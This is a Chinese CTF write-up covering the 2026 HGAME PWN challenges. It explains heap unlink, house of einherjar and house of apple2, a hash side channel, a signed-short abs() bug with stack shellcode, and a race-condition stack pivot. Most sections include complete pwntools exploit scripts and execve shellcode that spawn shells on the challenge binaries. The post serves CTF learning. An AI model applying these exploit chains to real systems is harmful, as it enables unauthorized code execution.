首页
社区
课程
招聘
[原创]2026 HGAME PWN writeup
发表于: 1天前 262

[原创]2026 HGAME PWN writeup

1天前
262

2026 HGAME PWN writeup

第一周

Heap1sEz

image-20260205210458649

这道题目的malloc和free是自己实现的,并且给了main.c和malloc.c的源码,通过源码我们可以看到存在UAF漏洞

image-20260205193929420

同时我们看malloc函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
void *malloc (size_t bytes){
  INTERNAL_SIZE_T nb;
  INTERNAL_SIZE_T size;
  INTERNAL_SIZE_T remainder_size;
 
  mchunkptr       victim;
  mchunkptr       remainder;
 
  void *p;
   
  nb = (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) < MINSIZE ? MINSIZE : (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) & (~MALLOC_ALIGN_MASK);
 
  //first request
  if(main_arena.top == NULL){
    malloc_init_state(&main_arena);
    p = sysmalloc(nb, &main_arena);
    return p;
  }
 
  //unsorted bin
  while ((victim = ((mchunkptr)bin_at(&main_arena, 1))->bk) != bin_at(&main_arena, 1)) {
    size = chunksize(victim);
    /* split */
    if(size >= nb){
      if(size - nb >= MINSIZE){
        remainder_size = size - nb;
        remainder = victim;
        victim = chunk_at_offset(remainder, remainder_size);
        set_head(victim, nb);
        set_inuse(victim);
        set_head_size(remainder, remainder_size);
        set_foot(remainder, remainder_size);
        p = chunk2mem(victim);
        return p;
      }
      else{
        unlink_chunk(victim);
        set_inuse(victim);
        return chunk2mem(victim);
      }
    }
  }
  if(nb > chunksize(main_arena.top) - MINSIZE) TODO();
  /* split */
  else{
    victim = main_arena.top;
    size = chunksize(victim);
    remainder_size = size - nb;
    remainder = chunk_at_offset (victim, nb);
    main_arena.top = remainder;
    set_head (victim, nb | PREV_INUSE);
    set_head (remainder, remainder_size | PREV_INUSE);
    void *p = chunk2mem (victim);
    return p;
  }
  //can't reach here
  assert(0);
  return NULL;
}

在自己实现的堆管理器中简化掉了tcache和fastbin,仅留下了unsorted bin,因此后续的攻击要关注unsorted bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
void free(void *mem)
{
  mchunkptr p;                 /* chunk corresponding to mem */
  INTERNAL_SIZE_T size;        /* its size */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */
  if (__builtin_expect (hook != NULL, 0))
  {
    (*hook)(mem);
    return;
  }
  if(mem == NULL){
    return;
  }
  p = mem2chunk (mem);
  size = chunksize(p);
  nextchunk = chunk_at_offset(p, size);
  nextsize = chunksize(nextchunk);
  /* consolidate backward */
  if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    if (__glibc_unlikely (chunksize(p) != prevsize))
      malloc_printerr ("corrupted size vs. prev_size while consolidating");
    unlink_chunk (p);
  }
  if (nextchunk != main_arena.top) {
    /* get and clear inuse bit */
    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
   
      /* consolidate forward */
      if (!nextinuse) {
          unlink_chunk (nextchunk);                                    
          size += nextsize;
      } else
          clear_inuse_bit_at_offset(nextchunk, 0);
      bck = bin_at(&main_arena, 1);
      fwd = bck->fd;
      //if (__glibc_unlikely (fwd->bk != bck))
    //malloc_printerr ("free(): corrupted unsorted chunks");
      p->fd = fwd;
      p->bk = bck;
      bck->fd = p;
      fwd->bk = p;
 
      set_head(p, size | PREV_INUSE);
      set_foot(p, size);
      //check_free_chunk(av, p);
    }
    /*
      If the chunk borders the current high end of memory,
      consolidate into top
    */
    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      main_arena.top = p;
      //check_chunk(av, p);
    }
}

很明显看到这里给了个hook,只要控制hook的内容就能挟持执行流,同时unlink的check被注释掉了,因此最原始的unlink也能执行

到这里其实攻击思路已经很明确了:

  1. 通过unlink去打notes这个堆块管理地址,构造一个*p = p-0x18的结构,进而控制notes中存储的内存地址
  2. 通过notes去修改hook为puts泄露libc
  3. 通过notes去修改hook为system获取shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
 
from pwncli import *
from LibcSearcher import *
from ctypes import *
 
# use script mode
cli_script()
 
# get use for obj from gift
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
 
def cmd(i, prompt=b">"):
    sla(prompt, i)
def add(idx, size):
    cmd(b"1")
    ru(b"Index")
    sl(str(idx).encode())
    ru(b"Size")
    sl(str(size).encode())
    # ......
def edit(idx, co):
    cmd(b"3")
    ru(b"Index")
    sl(str(idx).encode())
    ru(b"Content")
    s(co)
    # ......
def show(idx):
    cmd(b"4")
    ru(b"Index")
    sl(str(idx).encode())
    # ......
def dele(idx):
    cmd(b"2")
    ru(b"Index")
    sl(str(idx).encode())
    # ......
 
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
 
add(0, 0x100)
edit(0, b"AAAA")
add(1, 0x100)
edit(1, b"BBBB")
add(2, 0x100)
edit(2, b"CCCC")
add(3, 0x100)
edit(3, b"DDDD")
add(4, 0x100)
edit(4, b"DDDD")
dele(2)
show(2)
temp = b""
while True:
    t = r(1)
    temp += t
    if t in [b"\x55", b"\x56"]:
        break
elf_base = u64(temp[-6:].ljust(8, b"\x00")) - 0x3808
leak("elf_base", elf_base)
hook = elf_base + 0x3828
main_arena = hook-0x18
note = elf_base + 0x3880
leak("hook", hook)
leak("main_arena", main_arena)
 
edit(2, p64(note+0x10-0x18)+p64(note+0x10-0x10))
# unlink
# pause()
dele(1)
 
edit(2, b"EEEEEEEE" + p64(hook) + p64(elf_base+elf.got["puts"]))
edit(0, p64(elf_base + elf.plt["puts"]))
dele(1)
puts_addr = x64()
leak("puts_addr", puts_addr)
obj = LibcSearcher("puts", puts_addr)
base = puts_addr-obj.dump("puts")
system = base+obj.dump("system")
bin_sh = base+obj.dump("str_bin_sh")
 
edit(2, b"EEEEEEEE" + p64(hook) + p64(bin_sh))
edit(0, p64(system))
pause()
dele(1)
 
ia()

steins;gate

IDA打开发现是rust写的,反编译比较复杂因此AI辅助逆向了一下,主要逻辑是:如果没有./flag_hash这个文件,就读取/flag并生成其哈希,将其哈希写入./flag_hash

image-20260205210845973

image-20260205210926119

如果已经有./flag_hash这个文件的话,就将文件中的内容直接读取进缓冲区中

image-20260205210959236

接下来是主循环,获取了用户的一行输入,将这个输入进行处理之后与刚刚的哈希值传入guess::verify进行字符对比,如果对比结果相同则直接拿到shell

image-20260205211548270

将用户的输入进行处理的过程我们可以通过测试得到,断点下在guess::verify(src, &v42)这一行,运行之后在命令行中输入ABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABAB

image-20260205211730166

双击src就可以看到处理之后的数据

image-20260205211827209

所以数据处理就是将两个字节合并成一个字节而已,将其合并后的结果与flag的哈希值对比,如果flag的哈希值是0xA2 0xBC那我们就要输入A2BC

哈希值在本地的python中可以通过如下程序进行计算

1
2
3
4
import hashlib
with open('/flag', 'rb') as f:
    data = f.read()
print(hashlib.sha512(data).hexdigest())

image-20260205212140515

image-20260205212151807

可以看到上述python程序生成的哈希和rust程序生成的哈希是一样的(其实这个结论在这道题没有用)

我们整理一下思路:要获取flag就要拿到shell,要拿到shell就要获取flag的哈希,要获取flag的哈希就要知道flag……没招,闭环了( •́ .̫ •̀ )

毕竟爆破哈希在有限的时间内是不可能的,因此这个思路是行不通的,肯定哪里有疏漏

在哈希对比失败后,程序会输出一段调试信息

image-20260205212656963

我们进行环境变量的配置之后,可以输出完整的调试信息

image-20260205212749972

我们回头看看verify函数的流程图,发现这个函数及其抽象

image-20260205212938434

其实就是每一行异常的处理程序地址是不同的

image-20260205213018560

image-20260205213037258

比如第一个字符错误由0x18491-0x184B7代码处理,第二个字符错误由0x184B7-0x184DD代码处理

这样配合调试信息中的这一行,就可以通过侧信道的方式爆破哈希的每一位,从而得到完整的哈希

1
11:     0x5615a05394b7 - guess::verify::h4e5e60253993031b

所以正确的思路是通过侧信道爆破哈希,随后获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
from LibcSearcher import *
from ctypes import *
 
context(os="linux",arch="amd64",log_level="debug")
 
io = process("./pwn")
# io = remote("cloud-middle.hgame.vidar.club",30148)
# io = gdb.debug("./pwn")
 
# elf = ELF("./pwn")
# libc = ELF("./libc-2.31.so")
 
stop = pause
S = pause
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
s = io.send
sl = io.sendline
sla = io.sendlineafter
sa = io.sendafter
slt = io.sendlinethen
st = io.sendthen
r = io.recv
rn = io.recvn
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
rs = io.recvlines
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
ia = io.interactive
cr = io.can_recv
 
hex_chars = [chr(i) for i in range(ord('0'), ord('9')+1)] + [chr(i) for i in range(ord('a'), ord('f')+1)]
flag_hash = b""
for i in range(len(flag_hash)//2, 63):
    for j in hex_chars:
        flag = False
        for k in hex_chars:
            ch = (j+k).encode()
            ru(b":")
            sl((flag_hash+ch).ljust(128, b"A"))
            ru(b"11:")
            ru(b"0x")
            r(9)
            addr = int(r(3), 16)
            leak("addr", addr)
            idx = (addr-0x4B7)//(0x4DD-0x4B7)
            leak("idx", idx)
            if idx != i:
                flag_hash += ch
                flag = True
                print("flag_hash --> ", flag_hash)
                break
        if flag:
            break
pause()
for j in hex_chars:
    flag = False
    for k in hex_chars:
        ch = (j+k).encode()
        ru(b":")
        sl((flag_hash+ch).ljust(128, b"A"))
        sl("cat /flag")
 
ia()

adrift

image-20260205213609602

栈上有可执行权限,因此可以考虑在栈上注入shellcode

IDA打开分析一下程序的功能

image-20260205214212840

可以看到这道题目的canary是个全局变量,其中的内容是个栈地址

image-20260205214248753

退出main函数的时候会对canary进行校验,如果canary被修改则执行exit(0)

image-20260205214413123

当输入0时为add功能,此时会让我们输入way和distance,输入way的时候很明显存在一个栈溢出,但是由于canary的限制无法直接修改,要先想办法泄露一个栈地址,qmemcpy这一串就是将我输入的way复制到可写地址中,可以忽略;完成qmemcpy后会将buf内容置零随后让我们输入distance存入dis[i]

image-20260205214656087

delete功能就是将指定位置i的dis[i % 201]清空

image-20260205214735122

show功能就是将v2取绝对值,随后输出dis[v2]

image-20260205214837053

edit功能是对v6取绝对值,随后修改dis[v6]

这道题的漏洞点在于,show和edit中我们的输入都是short 整型,其最小值为-32768

因为-32768的二进制表示是 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0,对于一个负数取反就要按位取反,再加1

按位取反之后为 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1,将结果加一为 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0,可以看到与原先的-32768表示一样

因此当我们在show功能输入-32768时,取反后仍为-32768,其小于199,因此可以成功泄露dis[-32768]的数据,我们从gdb的角度看一下这个地址存储着什么

image-20260205215655815

可以看到这里存储的就是canary的值——栈地址,通过这种方式我们就可以泄露出canary

这样我们就可以通过栈溢出挟持返回地址了,由于存在memset因此我们要将shellcode写在没有被初始化的空间中

1
s(b"A"*0x3ea + p64(canary) + b"A"*0x10 + b"B"*0x8)

这样构造payload我们一方面测试返回地址有无被覆盖,一方面看那一段payload没有被清空

image-20260205220401123

因此要在字符A的地方写入shellcode,将字符B的地方写上字符A的地址,就可以成功执行到shellcode,但是由于shellcode只有0x10字节,因此可以先构造一个read再输入一段shellcode,在第二段shellcode中执行execve("/bin/sh", 0, 0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
 
from pwncli import *
from LibcSearcher import *
from ctypes import *
 
# use script mode
cli_script()
 
# get use for obj from gift
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
 
def cmd(i, prompt=b"choose> "):
    sla(prompt, i)
def add(co, dis):
    cmd(b"0")
    ru(b"way>")
    s(co)
    ru(b"distance>")
    sl(str(dis).encode())
    # ......
def edit(idx, dis):
    cmd(b"3")
    ru(b"index>")
    sl(str(idx).encode())
    ru(b"a new distance>")
    sl(str(dis).encode())
    # ......
def show(idx):
    cmd(b"2")
    ru(b"index>")
    sl(str(idx).encode())
    # ......
def dele(idx):
    cmd(b"1")
    ru(b"index>")
    sl(str(idx).encode())
    # ......
 
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
 
show(-32768)
ru(b": ")
canary = int(r(15))
leak("canary", canary)
 
shell1 = """
pop rdi
pop rdx
pop rdx
pop rsi
sub rsi, 0x113
syscall
"""
shell1 = asm(shell1)
 
cmd(b"0")
ru(b"way>")
s((b"AA").ljust(0x3ea, b"A") + p64(canary) + (shell1).ljust(0x10, b"A") + p64(canary+0x410))
ru(b"distance>")
sl(str(1).encode())
 
# pause()
cmd(b"4")
 
shell2 = """
mov rax, 59
xor rsi, rsi
xor rdx, rdx
mov rdi, 0x68732f6e69622f
push rdi
mov rdi, rsp
syscall
"""
shell2 = asm(shell2)
pause()
sl(shell2)
 
ia()

Producer and Consumer

image-20260205221410164

很明显是个多线程题,将sem初始化为8,随后每调用一次sem_wait(&sem)都会将其值减一,每调用一次sem_post(&sem)都会将其值加一,退出work函数之后将其结果复制到dest中,复制字节数是8 * num

image-20260205221538767

这是work函数的内容,可以看到它通过我们的输入启动produce线程和consume线程

image-20260205221657829

这是consume的主要功能,其实有用的就只有sem_post(&sem)一行

image-20260205221741432

这是produce函数的内容,可以看到程序先抢锁,抢到锁之后如果num小于等于7则直接释放锁。在锁mutex释放时线程会sleep一段时间,在这里就存在线程竞争的问题了。比如现在num是7,有两个线程来抢锁,一个线程是A一个线程是B,A比B快0.1s,这样A先抢到锁,随后释放后执行sleep(1),在sleep过程中B也抢到锁了,此时由于A线程还未执行到num = (num + 1) % 11,因此线程B在判断num小于等于7时,num还是7通过了判断,这样的结果就是num最终会被加两次,num的最终值是9,进而引发main函数中的memcpy(dest, src, 8 * num)造成栈溢出

在这道题目中,根据线程当前的num不同会像堆上的相邻地址写入不同的值,最后通过memcpy函数复制到栈上。为了造成栈溢出,同时覆盖返回地址,要求num最终的结果是10,同时需要严格控制好每个线程,使其写入的数据不冲突,不混乱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
from LibcSearcher import *
from ctypes import *
 
context(os="linux",arch="amd64",log_level="debug")
 
io = process("./pwn")
# io = remote('cloud-middle.hgame.vidar.club', 32236)
# io = gdb.debug("./pwn")
 
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
 
stop = pause
S = pause
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
s = io.send
sl = io.sendline
sla = io.sendlineafter
sa = io.sendafter
slt = io.sendlinethen
st = io.sendthen
r = io.recv
rn = io.recvn
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
rs = io.recvlines
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
ia = io.interactive
cr = io.can_recv
 
def cmd(i, prompt=b"input your choice>>"):
    sla(prompt, i)
def produce(co):
    cmd(b"1")
    s(co)
    # ......
def consume():
    cmd(b"2")
 
consume()
consume()
consume()
produce(b"11111111")
sleep(6)
produce(b"22222222")
sleep(6)
produce(b"33333333")
sleep(6)
produce(b"44444444")
sleep(6)
produce(b"55555555")
sleep(6)
produce(b"66666666")
sleep(6)
produce(b"77777777")
sleep(0.15)
produce(b"88888888")
sleep(0.15)
produce(b"99999999")
sleep(0.15)
produce(b"00000000")
sleep(10)
 
gdb.attach(io)
pause()
cmd(b"3")
 
ia()

经过多轮测试,按照上述脚本的流程执行时,各个线程写入数据不会发生冲突,先不冲突地创建6个线程分别写入数据并将num加到6,随后开始竞争,快速创建4个进程写入数据,最终的效果就是num加到10,同时堆上与栈上数据有序

需要注意的是,要提前执行三次consume功能以提高sem变量的值,要不然后面创建用来竞争的几个线程会陷入阻塞状态

image-20260205223648049

可以看到,程序提供了个堆地址,通过这个堆地址我们可以找到线程原始写入的数据

image-20260205223839182

由于只能够覆盖到返回地址,因此只能进行栈迁移

我们可以将返回地址覆盖为leave ; ret,将rbp覆盖为堆地址,然后通过栈迁移迁移到上述堆区域,这样就可以在这里布置ROP链

在造链子的时候发现新的问题,没有设置rdx的gadget,查看函数可以发现,这一段代码可以当作模板来实现ret2csu的效果

image-20260205224132698

因此,通过栈迁移+ROP配合上面的代码先执行一个read读入新的ROP链,在新的ROP链中先泄露libc,随后再次读入新的ROP链,在最后的ROP链中执行system拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
from LibcSearcher import *
from ctypes import *
 
context(os="linux",arch="amd64",log_level="debug")
 
io = process("./pwn")
# io = remote('cloud-middle.hgame.vidar.club', 30698)
# io = gdb.debug("./pwn")
 
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
 
stop = pause
S = pause
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
s = io.send
sl = io.sendline
sla = io.sendlineafter
sa = io.sendafter
slt = io.sendlinethen
st = io.sendthen
r = io.recv
rn = io.recvn
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
rs = io.recvlines
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
ia = io.interactive
cr = io.can_recv
 
def cmd(i, prompt=b"input your choice>>"):
    sla(prompt, i)
def produce(co):
    cmd(b"1")
    s(co)
    # ......
def consume():
    cmd(b"2")
 
ru(b"a gift for you:0x")
heap = int(r(8), 16) + 0x1800
leak("heap", heap)
leave_ret = 0x4015A1
ret = 0x40101a
rdi = 0x401963
rsi_r15 = 0x401961
rdx = 0x401401
gad1 = 0x40195A
gad2 = 0x401940
 
consume()
consume()
consume()
produce(p64(gad1))
sleep(6)
produce(p64(0))                  # rbx
sleep(6)
produce(p64(1))                  # rbp
sleep(6)
produce(p64(0))                  # r12 rdi
sleep(6)
produce(p64(heap+0x78))          # r13 rsi
sleep(6)
produce(p64(0x250))              # r14 rdx
sleep(6)
produce(p64(elf.got["read"]))    # r15 func
sleep(0.15)
produce(p64(gad2))
sleep(0.15)
produce(p64(heap-8))
sleep(0.15)
produce(p64(leave_ret))
sleep(10)
 
cmd(b"3")
ru(b"buffer data:")
 
# gdb.attach(io)
pause()
s(flat([gad1, 0, 1, 1, elf.got["puts"], 0x10, elf.got["write"], gad2]) +
  b"A"*0x38 +
  flat([gad1, 0, 1, 0, heap+0x168, 0x200, elf.got["read"], gad2]))
 
libc_base = x64() - libc.sym["puts"]
system = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
leak("system", system)
leak("libc_base", libc_base)
 
pause()
s(flat([ret, gad1, 0, 1, heap+0x1B8, 0, 0, heap+0x1B0, gad2, system, b"/bin/sh"]))
 
ia()

第二周

Diary keeper

image-20260215171651689

很明显是一道堆题

image-20260215171732111

add函数红框处指令会导致一个off by null,可以用于覆盖后一个堆块的PREV_INUSE标志位,从而触发unlink、house of einherjar等

image-20260215171925294

delete函数中没有UAF,因此无法直接挟持fd

image-20260215172012748

这是show函数,可以利用这个函数来泄露未覆盖区域

题目的代码量不大,漏洞点仅为off by null,由于堆溢出过小,因此无法打unlink,选择打house of einherjar,但是题目给出的libc版本为2.35-0ubuntu3.13,这个版本中存在如下check

1
2
3
4
5
6
7
8
9
static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");
 
  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
......

我们去how2heap看一下glibc 2.35如何绕过这个check

6eeK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6K6K9r3g2D9L8s2m8Z5K9i4y4Z5i4K6u0r3K9r3!0%4x3X3S2W2j5i4m8Q4x3V1k6T1L8r3!0T1i4K6u0r3L8h3q4K6N6r3g2J5i4K6u0r3k6$3I4A6j5X3y4Q4y4h3j5J5i4K6u0W2x3K6g2Q4x3V1k6Z5L8%4g2K6k6g2)9#2k6X3!0X3i4K6g2X3k6h3W2F1K9r3g2J5K9X3q4J5i4K6u0W2j5H3`.`.

我们将这个程序编译后调试可以发现如下堆块

image-20260215172953322

image-20260215172958202

我们将红框处堆块命名为chunk A,将下面的两个堆块命名为chunk B、chunk C。可以看到在chunk A中伪造了一个fake chunk,fake chunk的fd和bk为其自身的堆地址,随后通过chunk B的溢出覆盖chunk C的prev_size和prev_inuse,随后释放chunk C,就可以将chunk A的后半部分与chunk B和chunk C合并成一个unsorted bin堆块,随后就可以构造堆重叠

因此我们只需要将这个过程在该题中复现即可,我们可以利用show打印出堆块中未被二次覆盖的残留数据,从而泄露libc和堆地址

1
2
3
4
5
6
add(0, 0x500, b"AAAA", b"BBBB", b"CCCC")
add(1, 0x20, b"AAAA", b"BBBB", b"CCCC")
add(2, 0x20, b"AAAA", b"BBBB", b"CCCC")
dele(0)
add(0, 0x20, b"A", b"B", b"C")
show(0)

经过这样的操作之后,0号堆块数据如下,由于地址末尾三位恒定,因此libc地址就泄露出来了,堆地址同理

image-20260215174030585

在成功构造堆重叠后,就可以通过挟持fd控制_IO_list_all打house of apple2

house of apple触发流程:

  1. _IO_list_all指向堆块A (让A链入_IO_FILE链表中)

  2. _flags 设置为~(2 | 0x8 | 0x800) ,如果是需要获取 shell 的话,那么可以将参数写为 sh; 这样 _flags 既能绕过检查,又能被 system 函数当做参数成功执行。需要注意的是 sh; 前面是有两个空格的(这个值是 0x3b68732020

  3. 用堆块A伪造_IO_FILE_plus

    A->_IO_write_base = 0 A->_IO_write_ptr = 1 A->_lock = 可写地址
    A->_wide_data = 堆块B A->_mode = 0 A->vtable = _IO_wfile_jumps

  4. 堆块B伪造_IO_wide_data

    B->_IO_write_base = 0 B->_IO_buf_base = 0 B->_wide_vtable = backdoor-0x68

  5. 触发exit等函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
 
from pwncli import *
from LibcSearcher import *
from ctypes import *
 
# use script mode
cli_script()
 
# get use for obj from gift
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
 
def cmd(i, prompt=b"input your choice:"):
    sla(prompt, i)
def add(idx, size, date, weather, co):
    cmd(b"1")
    sla(b"input index:", str(idx).encode())
    sla(b"size:", str(size).encode())
    sa(b"date:", date)
    sa(b"weather:", weather)
    sa(b"content:", co)
    # ......
def show(idx):
    cmd(b"3")
    sla(b"input index:", str(idx).encode())
    # ......
def dele(idx):
    cmd(b"2")
    sla(b"input index:", str(idx).encode())
    # ......
 
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
 
add(0, 0x500, b"AAAA", b"BBBB", b"CCCC")
add(1, 0x20, b"AAAA", b"BBBB", b"CCCC")
add(2, 0x20, b"AAAA", b"BBBB", b"CCCC")
dele(0)
add(0, 0x20, b"A", b"B", b"C")
show(0)
libc_base = x64()-0x21b141
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
system = libc_base + libc.sym["system"]
 
dele(0)
dele(1)
# pause()
add(1, 0x20, b"A", b"B", b"C")
add(0, 0x20, b"A", b"B", b"C")
show(0)
addr1 = u64(ru(b"\x05")[-5:].ljust(8,b'\x00'))
show(1)
temp = b""
while True:
    t = r(1)
    temp += t
    if t in [b"\x55", b"\x56"]:
        break
addr2 = u64(temp[-6:].ljust(8, b"\x00"))
key = (addr1 ^ addr2) >> 12
heap_base = key << 12
add(3, 0x4c0, b"AAAA", b"BBBB", b"CCCC")
 
add(4, 0x30, b"AAAA", b"BBBB", p64(0)+p64(0x91)+p64(heap_base+0x850)+p64(heap_base+0x850))
add(5, 0x48, b"AAAA", b"BBBB", b"CCCC")
for i in range(8):
    add(6+i, 0xe8, b"AAAA", b"BBBB", b"CCCC")
dele(5)
add(5, 0x48, b"AAAA", b"BBBB", b"C"*0x40+p64(0x90))
add(14, 0x48, b"AAAA", b"BBBB", b"CCCC")
IO_FILE_plus_struct
add(15, 0x200, b"AAAA", b"BBBB", flat({0x0:0x3b68732020,                  # _flags
                                       0x20:0,                            # _IO_write_base
                                       0x28:1,                            # _IO_write_ptr
                                       0x88:heap_base,                    # _lock
                                       0xa0:heap_base+0x1380,             # _wide_data
                                       0xc0:0,                            # _mode
                                       0xd8:_IO_wfile_jumps               # vtable
                                       }, filler = b"\x00"))
add(16, 0x200, p64(system), b"BBBB", flat({0x18:0,
                                       0x30:0,
                                       0xe0:heap_base+0x1370-0x68         # backdoor
                                       }, filler = b"\x00"))
 
for i in range(7):
    dele(7+i)
dele(6)
# house of einherjar
 
dele(14)
dele(5)
add(17, 0x30, b"AAAA", b"BBBB", b"D"*0x10+p64(0)+p64(0x61)+p64(_IO_list_all ^ key))
add(18, 0x48, b"AAAA", b"BBBB", b"CCCC")
add(19, 0x48, p64(heap_base+0x1160), b"BBBB", b"CCCC")
 
cmd(b"4")
 
 
leak("libc_base", libc_base)
leak("addr1", addr1)
leak("addr2", addr2)
leak("key", key)
 
ia()

IONOSTREAM

image-20260215175415768

还是一道堆题

image-20260215175439391

可以看到只能申请0x58和0x48大小的堆块

image-20260215175509495

存在UAF

image-20260215175530241

只能edit一次,这个为最主要的限制

这道题目首先考虑通过UAF来泄露堆地址,随后通过fastbin double free来控制fd进而构造堆重叠,随后修改堆块的size为一个unsorted bin大小范围内,随后将其释放,从而拿到libc地址,最后通过UAF+edit去攻击_IO_list_all打house of apple2即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
 
from pwncli import *
from LibcSearcher import *
from ctypes import *
 
# use script mode
cli_script()
 
# get use for obj from gift
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
 
def cmd(i, prompt=b">"):
    sla(prompt, i)
def add(idx, size, co):
    cmd(b"1")
    sla(b"index:", str(idx).encode())
    sla(b"size:", str(size).encode())
    sa(b"content", co)
    # ......
def edit(idx, co):
    cmd(b"4")
    sla(b"index:", str(idx).encode())
    sa(b"content", co)
    # ......
def show(idx):
    cmd(b"3")
    sla(b"index:", str(idx).encode())
    # ......
def dele(idx):
    cmd(b"2")
    sla(b"index:", str(idx).encode())
    # ......
 
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
 
